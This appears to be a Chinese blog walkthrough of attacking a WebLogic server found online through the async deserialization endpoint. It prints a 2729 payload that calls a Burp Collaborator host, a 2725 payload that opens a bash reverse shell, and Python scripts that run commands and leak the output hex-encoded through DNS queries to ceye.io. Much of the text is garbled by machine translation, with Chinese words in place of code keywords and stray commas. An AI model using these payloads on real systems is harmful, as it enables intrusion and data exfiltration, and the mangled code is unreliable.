weblogic命令执行如何利用dnslog进行利用

  介绍

这篇文章给大家介绍weblogic命令执行如何利用dnslog进行利用,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

遇到一个weblogic站点:

 weblogic命令执行如何利用dnslog进行利用“> </p> <p>访问常见的几个路径看是否存在:</p> <pre>/控制台/登录/LoginForm.jsp/uddiexplorer SearchPublicRegistries.jsp/wls-wsat CoordinatorPortType/_async/AsyncResponseService</pre><p>运气爆棚,刚好存在<code>/_async/AsyncResponseService</code>这个路径:</p><p><img src=

拿出shack2大神的weblogic RCE工具验证一波:

weblogic命令执行如何利用dnslog进行利用

工具没打成功,猜测可能是被waf拦截。好奇的用自己收集的payload一个一个试,没想到成功执行了一个能获取dnslog记录的payload:

   xxxxcom.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContexthttp://zdg537uqx2an3qcx104ez2ak6bc10q.burpcollaborator.net           

weblogic命令执行如何利用dnslog进行利用

这个是2729的payload,于是就用相应命令执行的payload来执行命令,结果失败了。有大神指点说可以用2725的payload来打:

于是找了去年HW放出来的2725的payload:

  xx xx     /bin/bash   -c   bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1        

但是又出现了新的问题,这是一段不能回显命令结果的payload,无奈我又去请教大神,大神给了我思路,可以通过dnslog来获取结果,并且把脚本也给了我:

p.py

import os
  import 系统
  import 子流程
  
  def  exp (cmd, id):
  ,,,p =, subprocess.Popen (cmd, shell=True, stdout=subprocess.PIPE)
  ,,,p.wait ()
  ,,,pipe =p.stdout
  ,,,小姐:=100
  ,,,while 正确的:
  ,,,,,,,result =, pipe.read (30)
  ,,,,,,,if  not 结果:打破
  ,,,,,,,os.popen (& # 39; wget ——no-dns-cache 尝试=1,-T  1,——输出文档=/dev/null  % s % s % s.xxx.ceye.io& # 39;, %, (id,,我,,result.encode(& # 39;十六进制# 39;)))
  ,,,,,,,小姐:+=1
  
  exp (sys.argv [1], sys.argv [2]) 

<代码> result.py :

 import 请求
  import 系统
  得到requests.exceptions  import  RequestException
  得到requests.packages.urllib3.exceptions  import  InsecureRequestWarning
  
  时间=dnslog_exec  u" i2kuwq.ceye.io"
  时间=dnslog_exec_api  u" http://api.ceye.io/v1/records?token=xxxxxxxxxx1ae18f473ef27d0a& type=dns&过滤器={0}“;
  
  时间=req  requests.get (dnslog_exec_api.format (sys.argv[1]),,超时=30)
  时间=rsp  req.json ()
  if 负责[u" data"]:
  ,,,exec_result =,列表(设置((负责[u" data"][我][u" name"], for 小姐:拷贝xrange (len(负责[u # 39;数据# 39;))))))
  ,,,exec_result.sort ()
  null
  null
  null

weblogic命令执行如何利用dnslog进行利用